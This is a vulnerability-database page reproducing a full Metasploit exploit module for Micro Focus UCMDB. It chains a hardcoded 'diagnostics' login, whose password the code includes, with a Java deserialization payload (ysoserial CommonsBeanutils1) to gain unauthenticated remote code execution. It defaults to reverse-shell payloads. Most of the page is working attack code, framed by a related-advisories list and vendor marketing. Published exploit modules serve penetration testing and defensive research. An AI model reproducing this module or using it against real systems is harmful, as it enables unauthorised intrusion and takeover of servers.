Lucene search
+L

Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution

🗓️ 27 Jan 2021 17:42:31Reported by Pedro Ribeiro <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 63 Views

Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
zdt
Micro Focus UCMDB Remote Code Execution Exploit
28 Jan 202100:00
zdt
zdt
Micro Focus Operations Bridge Manager Remote Code Execution Exploit
11 Feb 202100:00
zdt
ATTACKERKB
CVE-2020-11853
22 Oct 202021:15
attackerkb
Circl
CVE-2020-11853
27 Jan 202115:07
circl
Circl
CVE-2020-11854
27 Oct 202019:31
circl
CNVD
Micro Focus Operation Bridge Manager Code Injection Vulnerability
25 Oct 202000:00
cnvd
Check Point Advisories
Micro Focus UCMDB Remote Code Execution (CVE-2020-11854; CVE-2020-11853)
15 Feb 202100:00
checkpoint_advisories
CVE
CVE-2020-11853
22 Oct 202020:37
cve
CVE
CVE-2020-11854
27 Oct 202016:29
cve
Cvelist
CVE-2020-11853 Arbitrary code execution vulnerability on multiple Micro Focus products
22 Oct 202020:37
cvelist
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities, that when chained allow an attacker
          to achieve unauthenticated remote code execution in Micro Focus UCMDB.
          UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
          but this module can probably also be used to exploit Operations Bridge Manager
          (containerized) and Application Performance Management.
          Check the advisory and module documentation for details.
          The first vulnerability is a hardcoded password for the "diagnostics" user, which
          allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
          deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
          Both Windows and Linux installations are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
          [ 'CVE', '2020-11853'],
          [ 'CVE', '2020-11854'],
          [ 'ZDI', '20-1287'],
          [ 'ZDI', '20-1288'],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'WfsDelay' => 15
        },
        # unfortunately could not find a way to determine target automatically
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'DefaultOptions' =>
              { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Linux',
            {
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD],
              'DefaultOptions' =>
              { 'PAYLOAD' => 'cmd/unix/reverse_python' }
            },
          ]
        ],
        'DisclosureDate' => '2020-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8443),
        OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
      'method' => 'GET'
    })
    if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
      if res.body.include?('ServerVersion=11.6.0')
        # 100% sure this version is vulnerable
        return Exploit::CheckCode::Appears
      end

      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("#{peer} - Attacking #{target.name} target")

    # First, let's authenticate
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
      'method' => 'POST',
      'vars_post' => {
        'customerID' => '1',
        'isEncoded' => 'false',
        'userName' => 'diagnostics',
        'password' => 'YWRtaW4=',
        'ldapServerName' => 'UCMDB'
      }
    })
    unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
    end
    cookies = res.get_cookies
    print_good("#{peer} - Succesfully authenticated and obtained our cookie!")

    # Now let's pick a random service since we have so many to choose from :D
    vuln_service = [
      'services/CmdbOperationExecuterService',
      'services/CategoryFacadeForGui',
      'services/CorrelationFacadeForGui',
      'services/CorrelationRunnerFacade',
      'services/PackageFacadeForGui',
      'services/SchedulerFacadeForGui',
      'services/FoldersFacade',
      'services/BusinessModelFacadeForGui',
      'services/WatchServerAPI',
      'services/TopologyService',
      'services/ReportService',
      'services/CMSImagesService',
      'services/PatternService',
      'services/FolderService',
      'services/RelatedCIsService',
      'services/MailService',
      'services/DiscoveryService',
      'services/ServiceDiscoveryService',
      'services/SoftwareLibraryService',
      'services/DataAcquisitionService',
      'services/CIService',
      'services/HistoryService',
      'services/BundleService',
      'services/LocationService',
      'services/SchedulerService',
      'services/ImpactService',
      'services/CommonService',
      'services/PermissionsService',
      'services/ClassModelService',
      'services/SnapshotService',
      'services/LDAPService',
      'services/CITService',
      'services/MultiTenancyService',
      'services/SecurityService',
      'services/ResourceManagementService',
      'services/AutomationMappingService',
      'services/LicensingService',
      'services/GenericAdapterService'
    ].sample

    # Simple as
    java_payload = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)

    print_status("#{peer} - Sending payload to /#{vuln_service}")

    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
      'method' => 'POST',
      'cookie' => cookies,
      'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
      'data' => java_payload
    })

    if res && res.code == 500
      print_good("#{peer} - Success, shell incoming!")
      handler
    else
      print_error("#{peer} - Something failed, try again?")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation